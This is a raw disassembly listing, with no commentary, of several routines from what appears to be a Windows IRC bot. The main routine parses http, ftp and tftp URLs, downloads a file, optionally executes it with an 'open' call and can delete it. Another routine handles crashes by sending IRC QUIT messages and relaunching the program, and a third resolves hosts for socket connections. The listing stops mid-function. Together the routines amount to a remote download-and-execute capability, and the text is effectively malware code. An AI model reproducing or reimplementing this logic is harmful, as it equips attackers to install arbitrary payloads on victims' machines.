var_7DC = byte ptr -7DCh
var_6D5 = byte ptr -6D5h
var_6D4 = byte ptr -6D4h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = byte ptr -6BCh
var_6BB = byte ptr -6BBh
var_63C = dword ptr -63Ch
var_638 = byte ptr -638h
var_637 = byte ptr -637h
var_632 = byte ptr -632h
var_631 = byte ptr -631h
var_534 = byte ptr -534h
var_430 = byte ptr -430h
var_2A8 = byte ptr -2A8h
var_2A7 = byte ptr -2A7h
var_2A6 = byte ptr -2A6h
var_2A3 = byte ptr -2A3h
var_296 = byte ptr -296h
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_284 = byte ptr -284h
var_283 = byte ptr -283h
var_204 = byte ptr -204h
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 804h
push edi
push 3AFh
push [ebp+arg_0]
lea eax, [ebp+var_63C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_638]
push eax
lea eax, [ebp+var_7DC]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
and [ebp+var_288], 0
mov [ebp+var_28C], 1
and [ebp+var_6CC], 0
mov al, byte_41DE30
mov [ebp+var_284], al
push 1Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_283]
rep stosd
stosw
stosb
mov al, byte_41DE30
mov [ebp+var_6BC], al
push 1Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_6BB]
rep stosd
stosw
stosb
and [ebp+var_6C8], 0
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_7DC]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_4185CC
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 14h
push 7
push offset dword_4185C4
lea eax, [ebp+var_638]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz loc_402B93
push 0
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_631]
push eax
call ds:dword_417060 ; CopyFileA
test eax, eax
jnz short loc_402B8E
call ds:dword_417064 ; RtlGetLastWin32Error
cmp eax, 20h
jnz short loc_402B58
lea eax, [ebp+var_534]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_41858C
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 10h
jmp short loc_402B7B
; ---------------------------------------------------------------------------
loc_402B58: ; CODE XREF: sub_402A32+FFj
lea eax, [ebp+var_631]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_41855C
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 10h
loc_402B7B: ; CODE XREF: sub_402A32+124j
push [ebp+var_63C]
call sub_409763
pop ecx
xor eax, eax
jmp loc_40325B
; ---------------------------------------------------------------------------
loc_402B8E: ; CODE XREF: sub_402A32+F4j
jmp loc_403256
; ---------------------------------------------------------------------------
loc_402B93: ; CODE XREF: sub_402A32+D6j
lea eax, [ebp+var_638]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_6C0], eax
jmp short loc_402BB5
; ---------------------------------------------------------------------------
loc_402BA8: ; CODE XREF: sub_402A32:loc_402CD8j
mov eax, [ebp+var_6C0]
dec eax
mov [ebp+var_6C0], eax
loc_402BB5: ; CODE XREF: sub_402A32+174j
cmp [ebp+var_6C0], 0FFFFFFFFh
jz loc_402CDD
mov eax, [ebp+var_6C0]
movsx eax, [ebp+eax+var_638]
cmp eax, 3Ah
jnz loc_402CD8
mov [ebp+var_7E0], 1
jmp short loc_402BF2
; ---------------------------------------------------------------------------
loc_402BE5: ; CODE XREF: sub_402A32:loc_402CD3j
mov eax, [ebp+var_7E0]
inc eax
mov [ebp+var_7E0], eax
loc_402BF2: ; CODE XREF: sub_402A32+1B1j
mov eax, [ebp+var_6C0]
add eax, [ebp+var_7E0]
movsx eax, [ebp+eax+var_638]
test eax, eax
jz short loc_402C23
mov eax, [ebp+var_6C0]
add eax, [ebp+var_7E0]
movsx eax, [ebp+eax+var_638]
cmp eax, 2Fh
jnz short loc_402C7A
loc_402C23: ; CODE XREF: sub_402A32+1D6j
mov eax, [ebp+var_7E0]
and [ebp+eax+var_6D5], 0
lea eax, [ebp+var_6D4]
push eax
call sub_40422A
pop ecx
test eax, eax
jz short loc_402C75
mov eax, [ebp+var_6C0]
lea eax, [ebp+eax+var_638]
add eax, [ebp+var_7E0]
push eax
mov eax, [ebp+var_6C0]
lea eax, [ebp+eax+var_638]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov [ebp+var_6C8], 1
loc_402C75: ; CODE XREF: sub_402A32+20Ej
jmp loc_403251
; ---------------------------------------------------------------------------
loc_402C7A: ; CODE XREF: sub_402A32+1EFj
mov eax, [ebp+var_6C0]
add eax, [ebp+var_7E0]
movsx eax, [ebp+eax+var_638]
cmp eax, 30h
jl short loc_402CCE
mov eax, [ebp+var_6C0]
add eax, [ebp+var_7E0]
movsx eax, [ebp+eax+var_638]
cmp eax, 39h
jg short loc_402CCE
mov eax, [ebp+var_6C0]
add eax, [ebp+var_7E0]
mov ecx, [ebp+var_7E0]
mov al, [ebp+eax+var_638]
mov [ebp+ecx+var_6D5], al
jmp short loc_402CD3
; ---------------------------------------------------------------------------
loc_402CCE: ; CODE XREF: sub_402A32+25Fj
; sub_402A32+278j
jmp loc_40324C
; ---------------------------------------------------------------------------
loc_402CD3: ; CODE XREF: sub_402A32+29Aj
jmp loc_402BE5
; ---------------------------------------------------------------------------
loc_402CD8: ; CODE XREF: sub_402A32+1A1j
jmp loc_402BA8
; ---------------------------------------------------------------------------
loc_402CDD: ; CODE XREF: sub_402A32+18Aj
; sub_402A32:loc_40324Cj ...
push 7
push offset aHttp ; "http://"
lea eax, [ebp+var_638]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_402D37
cmp [ebp+var_6C8], 0
jnz short loc_402D13
push offset a80 ; "80"
lea eax, [ebp+var_6D4]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_402D13: ; CODE XREF: sub_402A32+2CCj
lea eax, [ebp+var_631]
push eax
lea eax, [ebp+var_638]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov [ebp+var_6CC], 1
jmp loc_402E3D
; ---------------------------------------------------------------------------
loc_402D37: ; CODE XREF: sub_402A32+2C3j
push 6
push offset aFtp ; "ftp://"
lea eax, [ebp+var_638]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_402DB7
cmp [ebp+var_6C8], 0
jnz short loc_402D6D
push offset a21 ; "21"
lea eax, [ebp+var_6D4]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_402D6D: ; CODE XREF: sub_402A32+326j
lea eax, [ebp+var_632]
push eax
lea eax, [ebp+var_638]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov [ebp+var_6CC], 2
push offset aAnonymous ; "anonymous"
lea eax, [ebp+var_284]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push offset aAnonymous ; "anonymous"
lea eax, [ebp+var_6BC]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp loc_402E3D
; ---------------------------------------------------------------------------
loc_402DB7: ; CODE XREF: sub_402A32+31Dj
push 7
push offset aTftp ; "tftp://"
lea eax, [ebp+var_638]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_402E0E
cmp [ebp+var_6C8], 0
jnz short loc_402DED
push offset a69 ; "69"
lea eax, [ebp+var_6D4]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_402DED: ; CODE XREF: sub_402A32+3A6j
lea eax, [ebp+var_631]
push eax
lea eax, [ebp+var_638]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov [ebp+var_6CC], 3
jmp short loc_402E3D
; ---------------------------------------------------------------------------
loc_402E0E: ; CODE XREF: sub_402A32+39Dj
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset unk_418500
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_63C]
call sub_409763
pop ecx
xor eax, eax
jmp loc_40325B
; ---------------------------------------------------------------------------
loc_402E3D: ; CODE XREF: sub_402A32+300j
; sub_402A32+380j ...
lea eax, [ebp+var_638]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_6C0], eax
jmp short loc_402E5F
; ---------------------------------------------------------------------------
loc_402E52: ; CODE XREF: sub_402A32:loc_402F11j
mov eax, [ebp+var_6C0]
dec eax
mov [ebp+var_6C0], eax
loc_402E5F: ; CODE XREF: sub_402A32+41Ej
cmp [ebp+var_6C0], 0FFFFFFFFh
jz loc_402F16
mov eax, [ebp+var_6C0]
movsx eax, [ebp+eax+var_638]
cmp eax, 40h
jnz loc_402F11
mov eax, [ebp+var_6C0]
and [ebp+eax+var_638], 0
push offset asc_4184FC ; ":"
lea eax, [ebp+var_638]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_7E4], eax
cmp [ebp+var_7E4], 0
jz short loc_402ED8
mov eax, [ebp+var_7E4]
and byte ptr [eax], 0
push 80h
mov eax, [ebp+var_7E4]
inc eax
push eax
lea eax, [ebp+var_6BC]
push eax
call sub_407A56
add esp, 0Ch
loc_402ED8: ; CODE XREF: sub_402A32+47Fj
push 80h
lea eax, [ebp+var_638]
push eax
lea eax, [ebp+var_284]
push eax
call sub_407A56
add esp, 0Ch
mov eax, [ebp+var_6C0]
lea eax, [ebp+eax+var_637]
push eax
lea eax, [ebp+var_638]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_402F16
; ---------------------------------------------------------------------------
loc_402F11: ; CODE XREF: sub_402A32+44Bj
jmp loc_402E52
; ---------------------------------------------------------------------------
loc_402F16: ; CODE XREF: sub_402A32+434j
; sub_402A32+4DDj
push offset asc_4184F8 ; "/"
lea eax, [ebp+var_638]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_288], eax
cmp [ebp+var_288], 0
jnz short loc_402F67
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset unk_4184CC
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_63C]
call sub_409763
pop ecx
xor eax, eax
jmp loc_40325B
; ---------------------------------------------------------------------------
loc_402F67: ; CODE XREF: sub_402A32+504j
mov eax, [ebp+var_288]
inc eax
push eax
lea eax, [ebp+var_204]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov eax, [ebp+var_288]
and byte ptr [eax], 0
lea eax, [ebp+var_638]
push eax
lea eax, [ebp+var_100]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
call sub_416B64 ; clock
mov [ebp-6D8h], eax
and [ebp+var_6C4], 0
cmp [ebp+var_6CC], 1
jnz short loc_403009
push [ebp+var_63C]
movsx eax, [ebp+var_2A8]
neg eax
sbb eax, eax
neg eax
push eax
lea eax, [ebp+var_6C4]
push eax
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_6D4]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_6BC]
push eax
lea eax, [ebp+var_284]
push eax
call sub_402698
add esp, 24h
mov [ebp+var_28C], eax
loc_403009: ; CODE XREF: sub_402A32+582j
cmp [ebp+var_6CC], 2
jnz short loc_403065
push [ebp+var_63C]
movsx eax, [ebp+var_2A8]
neg eax
sbb eax, eax
neg eax
push eax
lea eax, [ebp+var_6C4]
push eax
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_6D4]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_6BC]
push eax
lea eax, [ebp+var_284]
push eax
call sub_402A24
add esp, 24h
mov [ebp+var_28C], eax
loc_403065: ; CODE XREF: sub_402A32+5DEj
cmp [ebp+var_6CC], 3
jnz short loc_4030B3
push [ebp+var_63C]
movsx eax, [ebp+var_2A8]
neg eax
sbb eax, eax
neg eax
push eax
lea eax, [ebp+var_6C4]
push eax
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_6D4]
push eax
lea eax, [ebp+var_100]
push eax
call sub_402A2B
add esp, 1Ch
mov [ebp+var_28C], eax
loc_4030B3: ; CODE XREF: sub_402A32+63Aj
; sub_402A32:loc_403256j
cmp [ebp+var_28C], 1
jnz loc_403219
movsx eax, [ebp+var_296]
test eax, eax
jz short loc_4030D7
mov [ebp+var_7EC], offset dword_4184C0
jmp short loc_403104
; ---------------------------------------------------------------------------
loc_4030D7: ; CODE XREF: sub_402A32+697j
movsx eax, [ebp+var_2A6]
test eax, eax
jz short loc_4030EE
mov [ebp+var_7F0], offset dword_4184B4
jmp short loc_4030F8
; ---------------------------------------------------------------------------
loc_4030EE: ; CODE XREF: sub_402A32+6AEj
mov [ebp+var_7F0], offset byte_41DE30
loc_4030F8: ; CODE XREF: sub_402A32+6BAj
mov eax, [ebp+var_7F0]
mov [ebp+var_7EC], eax
loc_403104: ; CODE XREF: sub_402A32+6A3j
push [ebp+var_7EC]
mov eax, [ebp+var_6C4]
shr eax, 0Ah
mov dword ptr [ebp+var_7F8], eax
and dword ptr [ebp+var_7F8+4], 0
fild [ebp+var_7F8]
fstp [ebp+var_7FC]
call sub_416B64 ; clock
sub eax, [ebp-6D8h]
mov dword ptr [ebp+var_804], eax
and dword ptr [ebp+var_804+4], 0
fild [ebp+var_804]
fdiv ds:flt_417270
fdivr [ebp+var_7FC]
push ecx
push ecx
fstp [esp+814h+var_814]
lea eax, [ebp+var_534]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_41846C
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 1Ch
movsx eax, [ebp+var_2A7]
test eax, eax
jz short loc_403198
lea eax, [ebp+var_534]
push eax
call ds:dword_4170AC ; DeleteFileA
jmp short loc_403217
; ---------------------------------------------------------------------------
loc_403198: ; CODE XREF: sub_402A32+755j
movsx eax, [ebp+var_2A6]
test eax, eax
jnz short loc_4031AE
movsx eax, [ebp+var_296]
test eax, eax
jz short loc_403217
loc_4031AE: ; CODE XREF: sub_402A32+76Fj
movsx eax, [ebp+var_2A3]
neg eax
sbb eax, eax
inc eax
push eax
push 0
push 0
lea eax, [ebp+var_534]
push eax
push offset aOpen ; "open"
push 0
call ds:dword_4171D0
mov [ebp+var_7E8], eax
cmp [ebp+var_7E8], 20h
jbe short loc_4031F4
movsx eax, [ebp+var_296]
test eax, eax
jz short loc_4031F2
call sub_407148
loc_4031F2: ; CODE XREF: sub_402A32+7B9j
jmp short loc_403217
; ---------------------------------------------------------------------------
loc_4031F4: ; CODE XREF: sub_402A32+7AEj
lea eax, [ebp+var_534]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_418444
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 10h
loc_403217: ; CODE XREF: sub_402A32+764j
; sub_402A32+77Aj ...
jmp short loc_40323C
; ---------------------------------------------------------------------------
loc_403219: ; CODE XREF: sub_402A32+688j
lea eax, [ebp+var_7DC]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_418414
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 10h
loc_40323C: ; CODE XREF: sub_402A32:loc_403217j
push [ebp+var_63C]
call sub_409763
pop ecx
xor eax, eax
jmp short loc_40325B
; ---------------------------------------------------------------------------
loc_40324C: ; CODE XREF: sub_402A32:loc_402CCEj
jmp loc_402CDD
; ---------------------------------------------------------------------------
loc_403251: ; CODE XREF: sub_402A32:loc_402C75j
jmp loc_402CDD
; ---------------------------------------------------------------------------
loc_403256: ; CODE XREF: sub_402A32:loc_402B8Ej
jmp loc_4030B3
; ---------------------------------------------------------------------------
loc_40325B: ; CODE XREF: sub_402A32+157j
; sub_402A32+406j ...
pop edi
leave
retn 4
sub_402A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403260 proc near ; CODE XREF: sub_40A9CF+959p
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_4], 0
jnz short loc_403271
jmp locret_403329
; ---------------------------------------------------------------------------
loc_403271: ; CODE XREF: sub_403260+Aj
push 3AFh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_40328A
jmp locret_403329
; ---------------------------------------------------------------------------
loc_40328A: ; CODE XREF: sub_403260+23j
push 8
push 7Ah
push 61h
push 4
lea eax, [ebp+var_10]
push eax
call sub_410501
add esp, 14h
and [ebp+eax+var_10], 0
push offset dword_418620
lea eax, [ebp+var_10]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
cmp [ebp+arg_8], 0
jnz short loc_4032BF
lea eax, [ebp+var_10]
mov [ebp+arg_8], eax
loc_4032BF: ; CODE XREF: sub_403260+57j
push 104h
push [ebp+arg_4]
mov eax, [ebp+var_14]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push 104h
push [ebp+arg_8]
mov eax, [ebp+var_14]
add eax, 108h
push eax
call sub_407A56
add esp, 0Ch
push [ebp+arg_0]
mov eax, [ebp+var_14]
add eax, 20Ch
push eax
call sub_405F67
pop ecx
pop ecx
mov eax, [ebp+var_14]
add eax, 108h
push eax
mov eax, [ebp+var_14]
add eax, 4
push eax
push offset dword_4185FC
push 0
push [ebp+var_14]
push offset sub_402A32
call sub_4095A4
add esp, 18h
locret_403329: ; CODE XREF: sub_403260+Cj
; sub_403260+25j
leave
retn
sub_403260 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40332B proc near ; CODE XREF: sub_4093B6+A0p
; sub_4094E6+9Bp ...
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 114h
push 1
push offset dword_41DE3C
call sub_409C88
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp dword_41DE38, 0
jz loc_4034D9
mov [ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER"
mov eax, [ebp+arg_0]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_110], eax
cmp [ebp+var_110], 0C0000025h
ja short loc_4033A4
cmp [ebp+var_110], 0C0000025h
jz short loc_4033FA
cmp [ebp+var_110], 80000003h
jz short loc_4033DF
cmp [ebp+var_110], 0C0000005h
jz short loc_4033D6
cmp [ebp+var_110], 0C000001Dh
jz short loc_4033E8
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033A4: ; CODE XREF: sub_40332B+45j
cmp [ebp+var_110], 0C000008Dh
jb short loc_403413
cmp [ebp+var_110], 0C0000093h
jbe short loc_40340C
cmp [ebp+var_110], 0C0000094h
jz short loc_4033F1
cmp [ebp+var_110], 0C00000FDh
jz short loc_403403
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033D6: ; CODE XREF: sub_40332B+69j
mov [ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033DF: ; CODE XREF: sub_40332B+5Dj
mov [ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033E8: ; CODE XREF: sub_40332B+75j
mov [ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033F1: ; CODE XREF: sub_40332B+9Bj
mov [ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033FA: ; CODE XREF: sub_40332B+51j
mov [ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_403403: ; CODE XREF: sub_40332B+A7j
mov [ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_40340C: ; CODE XREF: sub_40332B+8Fj
mov [ebp+var_8], offset aException_flt ; "EXCEPTION_FLT"
loc_403413: ; CODE XREF: sub_40332B+77j
; sub_40332B+83j ...
mov eax, [ebp+arg_0]
mov eax, [eax]
cmp dword ptr [eax+4], 1
jnz short loc_40342A
mov [ebp+var_114], offset aRestarting ; "Restarting"
jmp short loc_403434
; ---------------------------------------------------------------------------
loc_40342A: ; CODE XREF: sub_40332B+F1j
mov [ebp+var_114], offset aContinuing ; "Continuing"
loc_403434: ; CODE XREF: sub_40332B+FDj
push [ebp+var_114]
push [ebp+var_8]
mov eax, [ebp+arg_0]
mov eax, [eax]
push dword ptr [eax]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0C0h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B8h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0C4h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B4h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+9Ch]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0A0h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0A8h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0ACh]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0A4h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B0h]
mov eax, [ebp+var_4]
inc eax
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push offset dword_41864C
push offset dword_41DAB4
call sub_40D4AB
add esp, 48h
loc_4034D9: ; CODE XREF: sub_40332B+21j
mov eax, [ebp+var_4]
inc eax
cmp eax, 64h
jz short loc_4034ED
mov eax, [ebp+arg_0]
mov eax, [eax]
cmp dword ptr [eax+4], 1
jnz short loc_403558
loc_4034ED: ; CODE XREF: sub_40332B+1B5j
push 104h
lea eax, [ebp+var_10C]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
test eax, eax
jz short loc_403545
push 0
push 0
push 0
lea eax, [ebp+var_10C]
push eax
push offset aOpen ; "open"
push 0
call ds:dword_4171D0
cmp eax, 20h
ja short loc_403538
push offset aQuitExitting ; "QUIT :exitting"
call sub_40D6CB
pop ecx
jmp short loc_403543
; ---------------------------------------------------------------------------
loc_403538: ; CODE XREF: sub_40332B+1FEj
push offset aQuitRestarting ; "QUIT :restarting"
call sub_40D6CB
pop ecx
loc_403543: ; CODE XREF: sub_40332B+20Bj
jmp short loc_403550
; ---------------------------------------------------------------------------
loc_403545: ; CODE XREF: sub_40332B+1DFj
push offset aQuitRestarting ; "QUIT :restarting"
call sub_40D6CB
pop ecx
loc_403550: ; CODE XREF: sub_40332B:loc_403543j
push 0
call ds:dword_41705C ; ExitProcess
loc_403558: ; CODE XREF: sub_40332B+1C0j
mov eax, [ebp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 80000003h
jnz short loc_403583
mov eax, [ebp+arg_0]
mov eax, [eax+4]
mov eax, [eax+0B8h]
inc eax
mov ecx, [ebp+arg_0]
mov ecx, [ecx+4]
mov [ecx+0B8h], eax
or eax, 0FFFFFFFFh
jmp short locret_403586
; ---------------------------------------------------------------------------
loc_403583: ; CODE XREF: sub_40332B+238j
push 1
pop eax
locret_403586: ; CODE XREF: sub_40332B+256j
leave
retn
sub_40332B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403588 proc near ; DATA XREF: sub_403BD3:loc_403D85o
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = dword ptr -2Ch
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 48h
cmp [ebp+arg_8], 0
jz short loc_4035E2
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jz short loc_4035BB
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 2
jz short loc_4035BB
push 273Fh
call ds:dword_417234 ; WSASetLastError
mov eax, 273Fh
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_4035BB: ; CODE XREF: sub_403588+13j
; sub_403588+1Cj
mov eax, [ebp+arg_8]
cmp dword ptr [eax+8], 1
jz short loc_4035E2
mov eax, [ebp+arg_8]
cmp dword ptr [eax+8], 2
jz short loc_4035E2
push 273Ch
call ds:dword_417234 ; WSASetLastError
mov eax, 273Ch
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_4035E2: ; CODE XREF: sub_403588+Aj
; sub_403588+3Aj ...
cmp [ebp+arg_0], 0
jnz loc_4036D6
push 30h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_34], eax
cmp [ebp+var_34], 0
jnz short loc_40360D
push 8
call ds:dword_417234 ; WSASetLastError
push 8
pop eax
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_40360D: ; CODE XREF: sub_403588+73j
push 30h
push 0
push [ebp+var_34]
call sub_416B6A ; memset
add esp, 0Ch
push 10h
push 0
lea eax, [ebp+var_30]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_30], 2
cmp [ebp+arg_4], 0
jz short loc_40364C
push [ebp+arg_4]
call sub_416B9C ; atoi
pop ecx
push eax
call ds:dword_417238 ; htons
mov [ebp+var_2E], ax
loc_40364C: ; CODE XREF: sub_403588+AEj
mov eax, [ebp+var_34]
mov dword ptr [eax+4], 2
cmp [ebp+arg_8], 0
jz short loc_403667
mov eax, [ebp+arg_8]
mov eax, [eax+8]
mov [ebp+var_38], eax
jmp short loc_40366E
; ---------------------------------------------------------------------------
loc_403667: ; CODE XREF: sub_403588+D2j
mov [ebp+var_38], 1
loc_40366E: ; CODE XREF: sub_403588+DDj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_38]
mov [eax+8], ecx
cmp [ebp+arg_8], 0
jz short loc_403688
mov eax, [ebp+arg_8]
mov eax, [eax+0Ch]
mov [ebp+var_3C], eax
jmp short loc_40368F
; ---------------------------------------------------------------------------
loc_403688: ; CODE XREF: sub_403588+F3j
mov [ebp+var_3C], 6
loc_40368F: ; CODE XREF: sub_403588+FEj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_3C]
mov [eax+0Ch], ecx
mov eax, [ebp+var_34]
mov dword ptr [eax+10h], 10h
mov eax, [ebp+var_34]
add eax, 20h
mov ecx, [ebp+var_34]
mov [ecx+18h], eax
and [ebp+var_2C], 0
push 10h
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+var_34]
add eax, 20h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_34]
mov [eax], ecx
xor eax, eax
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_4036D6: ; CODE XREF: sub_403588+5Ej
push [ebp+arg_0]
call ds:dword_41723C ; gethostbyname
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_4036F2
mov eax, 2AFBh
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_4036F2: ; CODE XREF: sub_403588+15Ej
and [ebp+var_20], 0
jmp short loc_4036FF
; ---------------------------------------------------------------------------
loc_4036F8: ; CODE XREF: sub_403588+18Cj
mov eax, [ebp+var_20]
inc eax
mov [ebp+var_20], eax
loc_4036FF: ; CODE XREF: sub_403588+16Ej
cmp [ebp+var_14], 0
jz short loc_403716
mov eax, [ebp+var_14]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_20]
cmp dword ptr [eax+ecx*4], 0
jz short loc_403716
jmp short loc_4036F8
; ---------------------------------------------------------------------------
loc_403716: ; CODE XREF: sub_403588+17Bj
; sub_403588+18Aj
cmp [ebp+var_20], 0
jnz short loc_403726
mov eax, 2AFBh
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_403726: ; CODE XREF: sub_403588+192j
mov eax, [ebp+var_20]
imul eax, 30h
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_40374C
push 8
call ds:dword_417234 ; WSASetLastError
push 8
pop eax
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_40374C: ; CODE XREF: sub_403588+1B2j
mov eax, [ebp+var_20]
imul eax, 30h
push eax
push 0
push [ebp+var_1C]
call sub_416B6A ; memset
add esp, 0Ch
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_10], 2
cmp [ebp+arg_4], 0
jz short loc_403790
push [ebp+arg_4]
call sub_416B9C ; atoi
